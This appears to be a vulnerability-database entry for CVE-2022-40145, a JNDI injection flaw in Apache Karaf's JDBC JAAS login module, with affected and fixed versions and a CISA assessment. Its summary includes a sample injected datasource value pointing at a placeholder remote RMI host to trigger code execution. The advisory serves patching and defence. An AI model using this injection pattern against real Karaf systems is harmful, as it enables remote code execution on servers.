Skip to main content
← All vulnerabilities
CVE-2022-40145GHSA-C2P4-8MVV-RWMV

Apache Karaf: JDBC JAAS LDAP injection

Published
Last modified
published
Not listed in CISA KEV
Low (apache)
Fix
Fixed in 4.4.2, 4.3.8
None on Exploit-DB, Metasploit or GitHub
  • Exploitation: none
  • Automatable: yes
  • Technical impact: total

Summary

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Timeline

  1. CVE published
  2. CISA SSVC assessment

    Exploitation: none · Automatable: yes · Technical impact: total

  3. Record last updated

Affected versions

  • Apache Software Foundation Apache Karaf

    From 4.4.0 · fixed in 4.4.2; fixed in 4.3.8

  • org.apache.karaf:apache-karafMaven

    fixed in 4.3.8

  • org.apache.karaf:apache-karafMaven

    From 4.4.0 · fixed in 4.4.2

References 1

karaf.apache.org